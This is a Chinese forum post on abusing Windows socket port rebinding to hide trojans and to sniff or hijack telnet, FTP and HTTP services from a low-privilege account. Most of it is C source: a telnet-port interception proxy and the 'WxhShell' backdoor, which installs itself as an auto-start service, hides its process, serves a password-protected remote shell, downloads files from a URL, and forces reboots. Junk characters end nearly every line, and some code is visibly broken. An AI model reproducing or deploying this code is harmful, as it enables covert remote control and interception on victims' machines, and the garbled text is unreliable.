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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'VbiVLWD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ls%MGs9PI  
[!z,lY>  
  saddr.sin_family = AF_INET; +qoRP2  
7Ix973^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  )*[3Vq  
D]}G.v1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >V~E]P%@  
[vgtc.V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 36NpfTW  
Q;u pau  
  这意味着什么?意味着可以进行如下的攻击: 8_8l.!~  
Vc2`b3"Br  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nK,w]{<wG!  
PM+[,H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XRH!]!  
6 r"<jh#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  `]X>V,  
kl`W\tF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]! dTG  
Y 7aqO5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "8RSvT<W^5  
] @'!lhLi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @VBcJ{e,  
Zh,71Umz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _^;Z~/.  
<N)oS-m>  
  #include T |p"0b A  
  #include liZxBs :%i  
  #include s>en  
  #include    RpK@?[4s  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Jv i#)  
  int main() zTp"AuNHN  
  { /,dz@   
  WORD wVersionRequested; +%&yJ4-  
  DWORD ret; ?`#Khff?  
  WSADATA wsaData; >V937  
  BOOL val; H[gWGbPq7  
  SOCKADDR_IN saddr; %RVZD#zr  
  SOCKADDR_IN scaddr; =I4lL]>  
  int err; d1*<Ll9K  
  SOCKET s; :U\tv[  
  SOCKET sc; >7FHo-H/T  
  int caddsize; N;d] 14|  
  HANDLE mt; u y+pP!<  
  DWORD tid;   /{[o ~:'p  
  wVersionRequested = MAKEWORD( 2, 2 ); mR~&)QBP.  
  err = WSAStartup( wVersionRequested, &wsaData ); [Zrr)8A  
  if ( err != 0 ) { XG?8s &  
  printf("error!WSAStartup failed!\n"); Fs{*XKv&lH  
  return -1; omFz@  
  } @7u0v  
  saddr.sin_family = AF_INET; N;R^h? '  
   LLI.8kn7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 43w}qY1  
lMt=|66  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O2+6st  
  saddr.sin_port = htons(23); edD)TpmE,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) No$3"4wk  
  {  bLL2  
  printf("error!socket failed!\n"); HsWk*L `y  
  return -1; QWU[@2@%r  
  } RNL9>7xV  
  val = TRUE; D=$)n_F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #z(]xI)"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xoL\us`A  
  { +mPx8P&%  
  printf("error!setsockopt failed!\n"); -/4P3SG/  
  return -1; Kq!3wb;  
  } }b}m3i1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jCY %|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :]"V-1#}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gIfh3D=yX  
uO**E-`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DH=hH&[e(d  
  { FwK] $4*  
  ret=GetLastError(); [ )F<V!  
  printf("error!bind failed!\n"); N#] ypl  
  return -1; f^e)O$N9]  
  } 3^ClAE"8  
  listen(s,2); 7=uj2.J6  
  while(1) JT?h1v<H]  
  { WAqINLdX  
  caddsize = sizeof(scaddr); _g8yDfcLG  
  //接受连接请求 ^Pf WG*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y7{?Ip4[  
  if(sc!=INVALID_SOCKET) AX INThJ  
  { ]|@^1we  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JJnH%Q  
  if(mt==NULL) <q836]aa A  
  { XZf$K_F&M  
  printf("Thread Creat Failed!\n"); jdN` mosJ  
  break; YUb_y^B^  
  } RCrCs  
  } ;a/E42eN;  
  CloseHandle(mt); mv><HqDL1  
  } TC('H[ ]  
  closesocket(s); #mT"gs  
  WSACleanup(); `^vE9nW 7  
  return 0; sKWfX Cd  
  }    z} <^jgJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) x;S @bY  
  { U:`Kss`  
  SOCKET ss = (SOCKET)lpParam; =I<R!ZSN  
  SOCKET sc; aXVFc5C\  
  unsigned char buf[4096]; Qrv<lE1V;  
  SOCKADDR_IN saddr; hp2t"t  
  long num; baasGa3}s  
  DWORD val; kstIgcI  
  DWORD ret; b>|6t~}M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W^Yxny  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D9df=lv mD  
  saddr.sin_family = AF_INET; ~[ jQ!tz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K9[UB  
  saddr.sin_port = htons(23); H}!r|nG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' QG?nu  
  { 7pd$\$  
  printf("error!socket failed!\n"); txpgO1  
  return -1; K'bP@y_cq  
  } Z;i:](  
  val = 100; Dv"9qk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;gkM{={`p  
  { ZNoDFf*h  
  ret = GetLastError(); 'F<TSy|4kI  
  return -1; sB</DS  
  } XSDpRo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y73C5.dNcE  
  { Ri{=]$  
  ret = GetLastError(); oRFq @g  
  return -1; |>Vb9:q9Po  
  } *|0 -~u%q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uZ5p#M_  
  { +z( Lr=G  
  printf("error!socket connect failed!\n"); eDMO]5}Ht  
  closesocket(sc); ]lbuy7xj63  
  closesocket(ss); }6#  
  return -1; 1^}+=~  
  }  g(052]  
  while(1) f 2.HF@  
  {  \zkg  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @- xjfC\d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^ y::jK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G2D$aSh  
  num = recv(ss,buf,4096,0); ,hVli/  
  if(num>0) x4 yR8n(  
  send(sc,buf,num,0); r" y.KD^  
  else if(num==0) 2:kH[#  
  break; Ie_wHcM<  
  num = recv(sc,buf,4096,0); +R&gqja  
  if(num>0) paK2 xX8E  
  send(ss,buf,num,0); *T/']t  
  else if(num==0) (e~Nq  
  break; X, n:,'  
  } 6'/ #+,d'  
  closesocket(ss); _U(  
  closesocket(sc); y0#2m6u  
  return 0 ; [6fQ7uFMM8  
  } =euni}7a  
+rd+0 `}C  
e= AKD#  
========================================================== yAt ^;  
WJ#[LF!e  
下边附上一个代码,,WXhSHELL \e;iT\=.(  
 @5FQX  
========================================================== A&VG~r$  
KPF1cJ2N  
#include "stdafx.h" w>gYx(8b  
xp t:BBo  
#include <stdio.h> Sc0w.5m6  
#include <string.h> (HVGlw'`  
#include <windows.h> X8|,   
#include <winsock2.h> DVA:Cmh\  
#include <winsvc.h> :> '+"M2r  
#include <urlmon.h> ;I}fBZ 3  
$i&zex{\  
#pragma comment (lib, "Ws2_32.lib") p+eh%2Jm  
#pragma comment (lib, "urlmon.lib") se)TzI^]b@  
  ep8  
#define MAX_USER   100 // 最大客户端连接数 1#x0q:6  
#define BUF_SOCK   200 // sock buffer Da|z"I x  
#define KEY_BUFF   255 // 输入 buffer D~m*!w*  
q m}@!z^  
#define REBOOT     0   // 重启 d0D] Q  
#define SHUTDOWN   1   // 关机 ^!d3=}:0  
vN:Ng  
#define DEF_PORT   5000 // 监听端口 >6T8^Nt  
)GpK@R]{  
#define REG_LEN     16   // 注册表键长度 d=(mw_-?  
#define SVC_LEN     80   // NT服务名长度 LoV<:|GTI  
uT"rq:N  
// 从dll定义API G\i9:7 `  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9w"*y#_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zPO9!?7|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V!Uc(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6m93puY`7  
8tL~FiHb"  
// wxhshell配置信息 N7"W{"3D  
struct WSCFG { L0,'mS  
  int ws_port;         // 监听端口 2G7Wi!J  
  char ws_passstr[REG_LEN]; // 口令 &d!GImcxQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no *@5@,=d  
  char ws_regname[REG_LEN]; // 注册表键名 7#XzrT]  
  char ws_svcname[REG_LEN]; // 服务名 qGo.WZ$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IxU/?Zm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0B2t"(&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4x34u}l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %J(:ADu]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I9Xuok!0>=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ye&;(30Oq  
nlP;nlW  
}; ~ljXzD93Z  
0J9x9j`&j  
// default Wxhshell configuration lA]8&+,ZM  
struct WSCFG wscfg={DEF_PORT, ?,mmYW6TjB  
    "xuhuanlingzhe", kP:!/g  
    1, iS^QTuk3%  
    "Wxhshell", uRvP hkqm  
    "Wxhshell", ,+k\p5P  
            "WxhShell Service", [y(MCf19  
    "Wrsky Windows CmdShell Service", @gblW*Zhk  
    "Please Input Your Password: ", L!92P{K  
  1, >:-$+I  
  "http://www.wrsky.com/wxhshell.exe", j#|ZP-=1_  
  "Wxhshell.exe" -@'FW*b  
    }; Lbgi7|&  
.v K-LHs  
// 消息定义模块 pK*TE5]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1EK *g;H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h p1Bi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D.:Zx  
char *msg_ws_ext="\n\rExit."; 4hB]vY\T  
char *msg_ws_end="\n\rQuit."; j2k"cmsKh  
char *msg_ws_boot="\n\rReboot..."; y29m/i:  
char *msg_ws_poff="\n\rShutdown..."; IGl9 g_18  
char *msg_ws_down="\n\rSave to "; M`_0C38  
HMXE$d=[  
char *msg_ws_err="\n\rErr!"; BmT!aue  
char *msg_ws_ok="\n\rOK!"; i!Ba]n   
Gc?a+T  
char ExeFile[MAX_PATH]; _BufO7 `.  
int nUser = 0; YK_ 7ip.a[  
HANDLE handles[MAX_USER]; 5BIY<B+i  
int OsIsNt; U^PgG|0N  
dtDFoETz  
SERVICE_STATUS       serviceStatus; /ZX }Nc g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6ujW Nf  
cAw/I@jG  
// 函数声明 Yy8g(bU  
int Install(void); 4W75T2q#  
int Uninstall(void); F9^S"qv$  
int DownloadFile(char *sURL, SOCKET wsh); 203 s^K 61  
int Boot(int flag);  mh%VrA q  
void HideProc(void); z{q`GwW  
int GetOsVer(void); ).O)p9  
int Wxhshell(SOCKET wsl); KNl$3nX  
void TalkWithClient(void *cs); UMi~14& ;  
int CmdShell(SOCKET sock); W?& %x(6M  
int StartFromService(void); tQVVhXQ7  
int StartWxhshell(LPSTR lpCmdLine); @7 }W=HB  
>P(.:_ ^p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kh<2BOV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ctQ/wrkU  
:FF=a3/"6  
// 数据结构和表定义 4eu O1=  
SERVICE_TABLE_ENTRY DispatchTable[] = %#+Hl0,Tt  
{ u8^lB7!e/  
{wscfg.ws_svcname, NTServiceMain},  7GGUV  
{NULL, NULL} (Ldi|jL  
}; Iu{V,U  
k6^Z~5 Sy  
// 自我安装 qq?!LEZ  
int Install(void) rv;3~'V  
{ :RYTL'hes  
  char svExeFile[MAX_PATH]; ceA9) {  
  HKEY key; }V>T M{  
  strcpy(svExeFile,ExeFile); XW/o<[91  
f);FoVa6  
// 如果是win9x系统,修改注册表设为自启动 MV"=19]  
if(!OsIsNt) { #yen8SskB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4-w{BZuS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZCw]m#lS  
  RegCloseKey(key); e20-h3h+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { w_e9Wbi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ooGM$U  
  RegCloseKey(key); Gj*9~*xm(  
  return 0; %O<BfIZ  
    } x-c"%Z|  
  } bt *k.=p  
} -j(6;9"7]|  
else {  _F{C\}  
~&O%N  
// 如果是NT以上系统,安装为系统服务 =N@t'fOr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }]Tx lSp!;  
if (schSCManager!=0) I fir ,8  
{ INf&4!&h  
  SC_HANDLE schService = CreateService CLSK'+l  
  ( Xj*Wu_  
  schSCManager, hZ3bVi)L\  
  wscfg.ws_svcname, 5;?yCWc  
  wscfg.ws_svcdisp, 1M-pr 8:6s  
  SERVICE_ALL_ACCESS, ,Q B<7a+I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G3]4A&h9v~  
  SERVICE_AUTO_START, E7hhew  
  SERVICE_ERROR_NORMAL, zDp2g)  
  svExeFile, Z)!C'cb  
  NULL, J4utIGF  
  NULL, :N@^?q{b  
  NULL, B!yr!DWv  
  NULL, 3T 9j@N77  
  NULL -&f$GUTJ  
  ); |{;G2G1[  
  if (schService!=0) t) +310w  
  { @x1-! ~z#  
  CloseServiceHandle(schService); PH"%kCI:  
  CloseServiceHandle(schSCManager); $( )>g>%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g`^x@rj`E  
  strcat(svExeFile,wscfg.ws_svcname); <#.g=ay  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;4a{$Lw~^9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zT/\Cj68  
  RegCloseKey(key); Bq>m{  
  return 0; e )ZUO_Q$  
    } d _ e WcI  
  } Q\)F;:|  
  CloseServiceHandle(schSCManager); p<2,=*2  
} *"kM{*3:v  
} .pq%?&  
E4!Fupkpf  
return 1; \ jA~9  
} +"(jjxJm  
pp2~Meg  
// 自我卸载 /(T?j!nPE  
int Uninstall(void) S'14hk<  
{ X 8|EHb<  
  HKEY key; xPgBV~  
`6YN3XS  
if(!OsIsNt) { K^$=dLp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ':W[A  
  RegDeleteValue(key,wscfg.ws_regname); HDKbF/  
  RegCloseKey(key); ] - .aL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b[yiq$K/  
  RegDeleteValue(key,wscfg.ws_regname); 7rA;3?p)  
  RegCloseKey(key); 8Y3I0S  
  return 0; y]im Z4{/  
  } +RXoi2"-q@  
} Wm|lSisY  
} t Pf40`@  
else { $cR{o#  
i!cCMh8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p7Cs.2>M>S  
if (schSCManager!=0) yN c2@  
{ KG@8RtHsQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8f7>?BUS,  
  if (schService!=0) | 3%8&@ho  
  { 7|D+Ihy;  
  if(DeleteService(schService)!=0) { {[(h[MW#  
  CloseServiceHandle(schService); OTp]Xe/  
  CloseServiceHandle(schSCManager); fV:83|eQ  
  return 0; i?gSC<a  
  } +3`alHUK  
  CloseServiceHandle(schService); [V!tVDs&'o  
  } dd["dBIZ '  
  CloseServiceHandle(schSCManager); 2Hdu:"j  
} ]d`VT)~vje  
} fatf*}eln  
>MK98(F  
return 1; 9Ee'Cm  
} sr}E+qf  
H1T.(M/"  
// 从指定url下载文件 6Iw\c  
int DownloadFile(char *sURL, SOCKET wsh) TKjFp%  
{  9a kH  
  HRESULT hr; |M_UQQAB|  
char seps[]= "/"; 8D].MI^  
char *token; _w Ot39e&  
char *file; KF/-wZ"1s  
char myURL[MAX_PATH]; bx Wa oWE0  
char myFILE[MAX_PATH]; +O5hH8<&b  
7Qsgys#/=  
strcpy(myURL,sURL); 5coZ|O&f8  
  token=strtok(myURL,seps); rH>)oThA#  
  while(token!=NULL) 875od  
  { V$~9]*Wn  
    file=token; PzGWff!*n  
  token=strtok(NULL,seps); [:V$y1  
  } %UM *79  
8X0z~ &  
GetCurrentDirectory(MAX_PATH,myFILE); (ik\|y% A  
strcat(myFILE, "\\"); >j`qh:^  
strcat(myFILE, file); s <Fl p  
  send(wsh,myFILE,strlen(myFILE),0); Wl Sm  
send(wsh,"...",3,0); Sc   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZC}QId  
  if(hr==S_OK) T)}) pt!V  
return 0; `lPfb[b  
else ipILG4  
return 1; 5-G@L?~Vw  
D6^6}1WI  
} H|D.6^  
+"6`q;p3)  
// 系统电源模块 l(q ,<[O  
int Boot(int flag) s@DLt+ O5  
{ qw8Rlws%  
  HANDLE hToken; n(|^SH4$b  
  TOKEN_PRIVILEGES tkp; %IRi1EmN8  
o]:9')5^  
  if(OsIsNt) { 4&f3%eTi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rh |nP&6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z<phcqEi8  
    tkp.PrivilegeCount = 1; bTu9;(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l+R+&b^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1QJL .  
if(flag==REBOOT) { BUR*n;V`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4e1Y/ Xq`  
  return 0; ]fD} ^s3G  
} 8*fv'  
else { HKr Mim-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) : c[L3rJl  
  return 0; %[yJ4WL  
} 9S-9.mvop  
  } 63A.@mL  
  else { X$pJ :M{F$  
if(flag==REBOOT) { 7= DdrG<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >U3cTEs cj  
  return 0; RGU\h[  
} r4f~z$QK  
else { TU7' J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rt| 7h>RQ  
  return 0; ^KELKv,_  
} &w~d_</  
} FE{FGM q  
4{l,  
return 1; 3t6 LT  
} 9I/N4sou  
w\brVnt  
// win9x进程隐藏模块 t_suF$  
void HideProc(void) Ki~1qu:  
{ yOg+iFTr  
Y#3c }qb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); VYhbx 'e  
  if ( hKernel != NULL ) |a%Tp3Q~  
  { V/;B3t~f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .% OR3"9@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); - R6)ROGl  
    FreeLibrary(hKernel); ~WN:DXn  
  } Ydy9  
W,-g=6,  
return; xp9pl[l  
} yH}s<@y;7  
LraWcO\or'  
// 获取操作系统版本 0C*7K?/  
int GetOsVer(void) GDy9qUV  
{ gGS=cdlV  
  OSVERSIONINFO winfo; Rx|;=-8zg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *cnNuT  
  GetVersionEx(&winfo); {91nL'-'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kE(mVyLQ  
  return 1; 0<B$#8  
  else r(2uu  
  return 0; Lu0x (/  
} F*K_+ ?m  
 _\HQvH  
// 客户端句柄模块 'XBFv9&  
int Wxhshell(SOCKET wsl) 3<zp  
{ * +wW(#[  
  SOCKET wsh; K}U-w:{  
  struct sockaddr_in client; !#" zTj  
  DWORD myID;  =4!e&o  
C\/L v.  
  while(nUser<MAX_USER) O<;3M'y\  
{ ivz5H(b  
  int nSize=sizeof(client); -[DOe?T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "v4B5:bmqW  
  if(wsh==INVALID_SOCKET) return 1; 5Zva:  
.eP.&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g|Fn7]G  
if(handles[nUser]==0) ]}(H0?OQR  
  closesocket(wsh); P}G+4Sk  
else D{~fDRR  
  nUser++; U!Z,xx[]  
  } A$xF$l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (/*]?Ehd  
FtC^5{V+V  
  return 0; r{%qf;  
} >u8gD6X  
*C=>X193U  
// 关闭 socket *U\`CXn;  
void CloseIt(SOCKET wsh) ;l-!)0 U  
{ &q|K!5[k  
closesocket(wsh); D+7Rz_=  
nUser--; q=qcm`ce  
ExitThread(0); Mzw X>3x  
} H? y,ie#u  
om-omo&,X=  
// 客户端请求句柄 H&}pkrH~  
void TalkWithClient(void *cs) ZEO,]$Yi7  
{ 0tB0@Wj  
 y%b F&  
  SOCKET wsh=(SOCKET)cs; h.s+)fl\  
  char pwd[SVC_LEN]; S +^E.  
  char cmd[KEY_BUFF]; (41|'eB\\  
char chr[1]; ^Uh BH@ti  
int i,j; JO"<{ngsQ  
hzbw>g+  
  while (nUser < MAX_USER) { Wh 2tNyS  
v+=BCyT  
if(wscfg.ws_passstr) { 3nnJ8zQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y0K[Sm>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SrK<fAkx  
  //ZeroMemory(pwd,KEY_BUFF); y e? 'Ze  
      i=0; c>~*/%+  
  while(i<SVC_LEN) { ,V:SN~P66+  
^J8lBLqe  
  // 设置超时 ~Ti'FhN  
  fd_set FdRead; bl(RyA gA  
  struct timeval TimeOut; WPG(@zD  
  FD_ZERO(&FdRead); M*H nM(  
  FD_SET(wsh,&FdRead); f\>M'{cV  
  TimeOut.tv_sec=8; "E?2xf|.  
  TimeOut.tv_usec=0; Hi`//y*92H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @)&=%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TLe~y1dwY=  
T+k{W6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g5QZ0Qkj  
  pwd=chr[0]; x&T[*i  
  if(chr[0]==0xd || chr[0]==0xa) { WoRZW%  
  pwd=0; N;j)k;  
  break; s1=G;  
  } &<U0ZvrsH  
  i++; ]Y8<`;8/  
    } W+X6@/BO  
t9:0TBt-[  
  // 如果是非法用户,关闭 socket .oUTqki  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6s/&BR  
} ?+a,m# Yx  
!|S43i&p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); VsE9H]v   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vV e';|8v  
Ab"@714@  
while(1) { xzZ38xIhV  
o;R2p $  
  ZeroMemory(cmd,KEY_BUFF); hL;(C) (  
j*jo@N |  
      // 自动支持客户端 telnet标准   }\:Nu Tf  
  j=0; G&V/Gj8  
  while(j<KEY_BUFF) { iBgx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "z=SO1  
  cmd[j]=chr[0]; [>%xd)8.c  
  if(chr[0]==0xa || chr[0]==0xd) { Om@C X<(9C  
  cmd[j]=0; :GP]P^M;G@  
  break; ApV~( k)W  
  } ~C`^6UQr/?  
  j++; 4'A!; ]:  
    } 2=`o_<P'"  
)MchsuF<  
  // 下载文件 }n2M G  
  if(strstr(cmd,"http://")) { `Kr,>sEAM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q;JM$a?5iV  
  if(DownloadFile(cmd,wsh)) =i*;VFc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]4]6Qki  
  else %)I{%~u0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h*$y[}hDuv  
  } b8SHg^}  
  else { AKyUfAj3  
tL)t"  i  
    switch(cmd[0]) { 2Kyl/C,  
  j<@lX^  
  // 帮助 s`'{I8'p/  
  case '?': { =~H<Z LE+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kep/+J-u  
    break; OAkZKG|  
  } /%TI??PGu  
  // 安装 'JfdV%M  
  case 'i': { lP@Ki5  
    if(Install()) pd;br8yE$@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i?g5_HI  
    else K&70{r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k!HK 97qA  
    break; J| bd)0  
    } HbA kZP  
  // 卸载 0ANZAX5  
  case 'r': { kZZh"#W: L  
    if(Uninstall()) cm[&?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _FVcx7l!u  
    else v+`N*\J_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pDIVZC  
    break; u TK,&  
    } k+Czj  
  // 显示 wxhshell 所在路径 8b-Q F  
  case 'p': { A?%H=>v$  
    char svExeFile[MAX_PATH]; r )~ T@'y  
    strcpy(svExeFile,"\n\r"); Vq\`+&A  
      strcat(svExeFile,ExeFile); S` ;?z  
        send(wsh,svExeFile,strlen(svExeFile),0); X/2&!O  
    break; >eB\(EP  
    } \$\ENQ;Nk  
  // 重启 "*5hiTr8+  
  case 'b': { dA0.v+Foz"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @EpIh&  
    if(Boot(REBOOT)) X+S9{X#Cm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O_ DtvjI'  
    else { 6%Pdy$ P  
    closesocket(wsh); Vz~nT  
    ExitThread(0); (Cd\G=PK  
    } -[!P!d=  
    break; *ikc]wQr$  
    } -~ Mb  
  // 关机 5Z\#0":e  
  case 'd': { ws|;  `  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L>%o[tS  
    if(Boot(SHUTDOWN)) e5B Qr$j  
